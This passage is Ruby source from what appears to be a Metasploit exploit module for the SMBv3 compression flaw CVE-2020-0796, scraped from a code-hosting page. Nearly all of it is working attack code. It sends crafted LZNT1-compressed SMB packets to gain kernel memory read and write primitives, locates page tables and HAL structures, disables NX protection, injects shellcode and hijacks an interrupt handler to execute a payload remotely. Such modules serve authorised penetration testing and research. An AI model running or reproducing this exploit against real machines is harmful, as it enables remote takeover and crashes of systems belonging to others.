# need a custom negotiate function because the responses will be corrupt while reading memory
|
||||
sock = connect(false)
|
||||
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
|
||||
|
||||
packet = RubySMB::SMB2::Packet::NegotiateRequest.new
|
||||
packet.client_guid = SecureRandom.random_bytes(16)
|
||||
packet.set_dialects((RubySMB::Client::SMB2_DIALECT_DEFAULT + RubySMB::Client::SMB3_DIALECT_DEFAULT).map { |d| d.to_i(16) })
|
||||
|
||||
packet.capabilities.large_mtu = 1
|
||||
packet.capabilities.encryption = 1
|
||||
|
||||
nc = RubySMB::SMB2::NegotiateContext.new(
|
||||
context_type: RubySMB::SMB2::NegotiateContext::SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
)
|
||||
nc.data.hash_algorithms << RubySMB::SMB2::PreauthIntegrityCapabilities::SHA_512
|
||||
nc.data.salt = "\x00" * 32
|
||||
packet.add_negotiate_context(nc)
|
||||
|
||||
nc = RubySMB::SMB2::NegotiateContext.new(
|
||||
context_type: RubySMB::SMB2::NegotiateContext::SMB2_COMPRESSION_CAPABILITIES
|
||||
)
|
||||
nc.data.flags = 1
|
||||
nc.data.compression_algorithms << RubySMB::SMB2::CompressionCapabilities::LZNT1
|
||||
packet.add_negotiate_context(nc)
|
||||
|
||||
dispatcher.send_packet(packet)
|
||||
dispatcher
|
||||
end
|
||||
|
||||
def write_primitive(data, addr)
|
||||
dispatcher = smb_negotiate
|
||||
dispatcher.tcp_socket.get_once # disregard the response
|
||||
|
||||
uncompressed_data = rand(0x41..0x5a).chr * (target['OverflowSize'] - data.length)
|
||||
uncompressed_data << "\x00" * target['Offset(SrvnetBufferHdr,pNetRawBuffer)']
|
||||
uncompressed_data << [ addr ].pack('Q<')
|
||||
|
||||
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
|
||||
original_compressed_segment_size: 0xffffffff,
|
||||
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
|
||||
offset: data.length,
|
||||
compressed_data: (data + LZNT1.compress(uncompressed_data)).bytes
|
||||
)
|
||||
dispatcher.send_packet(pkt)
|
||||
dispatcher.tcp_socket.close
|
||||
end
|
||||
|
||||
def write_srvnet_buffer_hdr(data, offset)
|
||||
dispatcher = smb_negotiate
|
||||
dispatcher.tcp_socket.get_once # disregard the response
|
||||
|
||||
dummy_data = rand(0x41..0x5a).chr * (target['OverflowSize'] + offset)
|
||||
pkt = RubySMB::SMB2::Packet::CompressionTransformHeader.new(
|
||||
original_compressed_segment_size: 0xffffefff,
|
||||
compression_algorithm: RubySMB::SMB2::CompressionCapabilities::LZNT1,
|
||||
offset: dummy_data.length,
|
||||
compressed_data: (dummy_data + CorruptLZNT1.compress(data)).bytes
|
||||
)
|
||||
dispatcher.send_packet(pkt)
|
||||
dispatcher.tcp_socket.close
|
||||
end
|
||||
|
||||
def read_primitive(phys_addr)
|
||||
value = @memory_cache[phys_addr]
|
||||
return value unless value.nil?
|
||||
|
||||
vprint_status("Reading from physical memory at index: 0x#{phys_addr.to_s(16).rjust(16, '0')}")
|
||||
fake_mdl = MDL.new(
|
||||
mdl_size: 0x48,
|
||||
mdl_flags: 0x5018,
|
||||
mapped_system_va: (target['KuserSharedData'] + KSD_VA_MAP),
|
||||
start_va: ((target['KuserSharedData'] + KSD_VA_MAP) & ~0xfff),
|
||||
byte_count: 600,
|
||||
byte_offset: ((phys_addr & 0xfff) + 0x4)
|
||||
)
|
||||
phys_addr_enc = (phys_addr & 0xfffffffffffff000) >> 12
|
||||
|
||||
(MAX_READ_RETRIES * 2).times do |try|
|
||||
write_primitive(fake_mdl.to_binary_s + ([ phys_addr_enc ] * 3).pack('Q<*'), (target['KuserSharedData'] + KSD_VA_PMDL))
|
||||
write_srvnet_buffer_hdr([(target['KuserSharedData'] + KSD_VA_PMDL)].pack('Q<'), target['Offset(SrvnetBufferHdr,pMDL1)'])
|
||||
|
||||
MAX_READ_RETRIES.times do |_|
|
||||
dispatcher = smb_negotiate
|
||||
blob = dispatcher.tcp_socket.get_once
|
||||
dispatcher.tcp_socket.close
|
||||
next '' if blob.nil?
|
||||
next if blob[4..7] == "\xfeSMB".b
|
||||
|
||||
@memory_cache[phys_addr] = blob
|
||||
return blob
|
||||
end
|
||||
sleep try**2
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to read physical memory')
|
||||
end
|
||||
|
||||
def find_low_stub
|
||||
common = [0x13000].to_enum # try the most common value first
|
||||
all = (0x1000..0x100000).step(0x1000)
|
||||
(common + all).each do |index|
|
||||
buff = read_primitive(index)
|
||||
entry = buff.unpack('Q<').first
|
||||
next unless (entry & 0xffffffffffff00ff) == (target['LowStubFingerprint'] & 0xffffffffffff00ff)
|
||||
|
||||
lowstub_va = buff[target['Offset(LowStub,SelfVA)']...(target['Offset(LowStub,SelfVA)'] + 8)].unpack('Q<').first
|
||||
print_status("Found low stub at physical address 0x#{index.to_s(16).rjust(16, '0')}, virtual address 0x#{lowstub_va.to_s(16).rjust(16, '0')}")
|
||||
pml4 = buff[target['Offset(LowStub,PML4)']...(target['Offset(LowStub,PML4)'] + 8)].unpack('Q<').first
|
||||
print_status("Found PML4 at 0x#{pml4.to_s(16).rjust(16, '0')} " + { 0x1aa000 => '(BIOS)', 0x1ad000 => '(UEFI)' }.fetch(pml4, ''))
|
||||
|
||||
phal_heap = lowstub_va & 0xffffffffffff0000
|
||||
print_status("Found HAL heap at 0x#{phal_heap.to_s(16).rjust(16, '0')}")
|
||||
|
||||
return { pml4: pml4, phal_heap: phal_heap }
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to find the low stub')
|
||||
end
|
||||
|
||||
def find_pml4_selfref(pointers)
|
||||
search_len = 0x1000
|
||||
index = pointers[:pml4]
|
||||
|
||||
while search_len > 0
|
||||
buff = read_primitive(index)
|
||||
buff = buff[0...-(buff.length % 8)]
|
||||
buff.unpack('Q<*').each_with_index do |entry, i|
|
||||
entry &= 0xfffff000
|
||||
next unless entry == pointers[:pml4]
|
||||
|
||||
selfref = ((index + (i * 8)) & 0xfff) >> 3
|
||||
pointers[:pml4_selfref] = selfref
|
||||
print_status("Found PML4 self-reference entry at 0x#{selfref.to_s(16).rjust(4, '0')}")
|
||||
return pointers
|
||||
end
|
||||
search_len -= [buff.length, 8].max
|
||||
index += [buff.length, 8].max
|
||||
end
|
||||
|
||||
fail_with(Failure::Unknown, 'Failed to leak the PML4 self reference')
|
||||
end
|
||||
|
||||
def get_phys_addr(pointers, va_addr)
|
||||
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
|
||||
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
|
||||
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
|
||||
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
|
||||
|
||||
pml4e = pointers[:pml4] + pml4_index * 8
|
||||
pdpt_buff = read_primitive(pml4e)
|
||||
|
||||
pdpt = pdpt_buff.unpack('Q<').first & 0xfffff000
|
||||
pdpte = pdpt + pdpt_index * 8
|
||||
pdt_buff = read_primitive(pdpte)
|
||||
|
||||
pdt = pdt_buff.unpack('Q<').first & 0xfffff000
|
||||
pdte = pdt + pdt_index * 8
|
||||
pt_buff = read_primitive(pdte)
|
||||
|
||||
pt = pt_buff.unpack('Q<').first
|
||||
unless pt & (1 << 7) == 0
|
||||
return (pt & 0xfffff000) + (pt_index & 0xfff) * 0x1000 + (va_addr & 0xfff)
|
||||
end
|
||||
|
||||
pt &= 0xfffff000
|
||||
pte = pt + pt_index * 8
|
||||
pte_buff = read_primitive(pte)
|
||||
(pte_buff.unpack('Q<').first & 0xfffff000) + (va_addr & 0xfff)
|
||||
end
|
||||
|
||||
def disable_nx(pointers, addr)
|
||||
lb = (0xffff << 48) | (pointers[:pml4_selfref] << 39)
|
||||
ub = ((0xffff << 48) | (pointers[:pml4_selfref] << 39) + 0x8000000000 - 1) & 0xfffffffffffffff8
|
||||
pte_va = ((addr >> 9) | lb) & ub
|
||||
|
||||
phys_addr = get_phys_addr(pointers, pte_va)
|
||||
orig_val = read_primitive(phys_addr).unpack1('Q<')
|
||||
overwrite_val = orig_val & ((1 << 63) - 1)
|
||||
write_primitive([ overwrite_val ].pack('Q<'), pte_va)
|
||||
{ pte_va: pte_va, original: orig_val }
|
||||
end
|
||||
|
||||
def search_hal_heap(pointers)
|
||||
va_cursor = pointers[:phal_heap]
|
||||
end_va = va_cursor + 0x20000
|
||||
|
||||
while va_cursor < end_va
|
||||
phys_addr = get_phys_addr(pointers, va_cursor)
|
||||
buff = read_primitive(phys_addr)
|
||||
buff = buff[0...-(buff.length % 8)]
|
||||
values = buff.unpack('Q<*')
|
||||
window_size = 8 # using a sliding window to fingerprint the memory
|
||||
0.upto(values.length - window_size) do |i| # TODO: if the heap structure exists over two pages, this will break
|
||||
va = va_cursor + (i * 8)
|
||||
window = values[i...(i + window_size)]
|
||||
next unless window[0...3].all? { |value| value & 0xfffff00000000000 == 0xfffff00000000000 }
|
||||
next unless window[4...8].all? { |value| value & 0xffffff0000000000 == 0xfffff80000000000 }
|
||||
next unless window[3].between?(0x20, 0x40)
|
||||
next unless (window[0] - window[2]).between?(0x80, 0x180)
|
||||
|
||||
phalp_ari = read_primitive(get_phys_addr(pointers, va) + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']).unpack('Q<').first
|
||||
next if read_primitive(get_phys_addr(pointers, phalp_ari))[0...8] != "\x48\x89\x6c\x24\x20\x56\x41\x54" # mov qword ptr [rsp+20h], rbp; push rsi; push r12
|
||||
|
||||
# looks legit (TM), lets hope for the best
|
||||
# use WinDBG to validate the hal!HalpInterruptController value manually
|
||||
# 0: kd> dq poi(hal!HalpInterruptController) L1
|
||||
pointers[:pHalpInterruptController] = va
|
||||
print_status("Found hal!HalpInterruptController at 0x#{va.to_s(16).rjust(16, '0')}")
|
||||
|
||||
# use WinDBG to validate the hal!HalpApicRequestInterrupt value manually
|
||||
# 0: kd> dq u poi(poi(hal!HalpInterruptController)+78) L1
|
||||
pointers[:pHalpApicRequestInterrupt] = phalp_ari
|
||||
print_status("Found hal!HalpApicRequestInterrupt at 0x#{phalp_ari.to_s(16).rjust(16, '0')}")
|
||||
return pointers
|
||||
end
|
||||
|
||||
va_cursor += buff.length
|
||||
end
|
||||
fail_with(Failure::Unknown, 'Failed to leak the address of hal!HalpInterruptController')
|
||||
end
|
||||
|
||||
def build_shellcode(pointers)
|
||||
source = File.read(File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2020-0796', 'RCE', 'kernel_shellcode.asm'))
|
||||
edata = Metasm::Shellcode.assemble(Metasm::X64.new, source).encoded
|
||||
user_shellcode = payload.encoded
|
||||
edata.fixup 'PHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpApicRequestInterrupt]
|
||||
edata.fixup 'PPHALP_APIC_REQUEST_INTERRUPT' => pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)']
|
||||
edata.fixup 'USER_SHELLCODE_SIZE' => user_shellcode.length
|
||||
edata.data + user_shellcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
if datastore['DefangedMode']
|
||||
warning = <<~EOF
|
||||
|
||||
|
||||
Are you SURE you want to execute this module? There is a high probability that even when the exploit is
|
||||
successful the remote target will crash within about 90 minutes.
|
||||
|
||||
Disable the DefangedMode option to proceed.
|
||||
EOF
|
||||
|
||||
fail_with(Failure::BadConfig, warning)
|
||||
end
|
||||
|
||||
fail_with(Failure::BadConfig, "Incompatible payload: #{datastore['PAYLOAD']} (must be x64)") unless payload.arch.include? ARCH_X64
|
||||
@memory_cache = {}
|
||||
@shellcode_length = 0
|
||||
pointers = find_low_stub
|
||||
pointers = find_pml4_selfref(pointers)
|
||||
pointers = search_hal_heap(pointers)
|
||||
|
||||
@nx_info = disable_nx(pointers, target['KuserSharedData'])
|
||||
print_status('KUSER_SHARED_DATA PTE NX bit cleared!')
|
||||
|
||||
shellcode = build_shellcode(pointers)
|
||||
vprint_status("Transferring #{shellcode.length} bytes of shellcode...")
|
||||
@shellcode_length = shellcode.length
|
||||
write_bytes = 0
|
||||
while write_bytes < @shellcode_length
|
||||
write_sz = [WRITE_UNIT, @shellcode_length - write_bytes].min
|
||||
write_primitive(shellcode[write_bytes...(write_bytes + write_sz)], (target['KuserSharedData'] + KSD_VA_SHELLCODE) + write_bytes)
|
||||
write_bytes += write_sz
|
||||
end
|
||||
vprint_status('Transfer complete, hooking hal!HalpApicRequestInterrupt to trigger execution...')
|
||||
write_primitive([(target['KuserSharedData'] + KSD_VA_SHELLCODE)].pack('Q<'), pointers[:pHalpInterruptController] + target['Offset(HalpInterruptController,HalpApicRequestInterrupt)'])
|
||||
end
|
||||
|
||||
def cleanup
|
||||
return unless @memory_cache&.present?
|
||||
|
||||
if @nx_info&.present?
|
||||
print_status('Restoring the KUSER_SHARED_DATA PTE NX bit...')
|
||||
write_primitive([ @nx_info[:original] ].pack('Q<'), @nx_info[:pte_va])
|
||||
end
|
||||
|
||||
# need to restore the contents of KUSER_SHARED_DATA to zero to avoid a bugcheck
|
||||
vprint_status('Cleaning up the contents of KUSER_SHARED_DATA...')
|
||||
start_va = target['KuserSharedData'] + KSD_VA_MAP - WRITE_UNIT
|
||||
end_va = target['KuserSharedData'] + KSD_VA_SHELLCODE + @shellcode_length
|
||||
(start_va..end_va).step(WRITE_UNIT).each do |cursor|
|
||||
write_primitive("\x00".b * [WRITE_UNIT, end_va - cursor].min, cursor)
|
||||
end
|
||||
end
|
||||
|
||||
module CorruptLZNT1
|
||||
def self.compress(buf, chunk_size: 0x1000)
|
||||
out = ''
|
||||
until buf.empty?
|
||||
chunk = buf[0...chunk_size]
|
||||
compressed = LZNT1.compress_chunk(chunk)
|
||||
|
||||
# always use the compressed chunk, even if it's larger
|
||||
out << [ 0xb000 | (compressed.length - 1) ].pack('v')
|
||||
out << compressed
|
||||
|
||||
buf = buf[chunk_size..-1]
|
||||
break if buf.nil?
|
||||
end
|
||||
|
||||
out << [ 0x1337 ].pack('v')
|
||||
out
|
||||
end
|
||||
end
|
||||
|
||||
class MDL < BinData::Record
|
||||
# https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/1909%2019H2%20(November%202019%20Update)/_MDL
|
||||
endian :little
|
||||
uint64 :next_mdl
|
||||
uint16 :mdl_size
|
||||
uint16 :mdl_flags
|
||||
uint16 :allocation_processor_number
|
||||
uint16 :reserved
|
||||
uint64 :process
|
||||
uint64 :mapped_system_va
|
||||
uint64 :start_va
|
||||
uint32 :byte_count
|
||||
uint32 :byte_offset
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue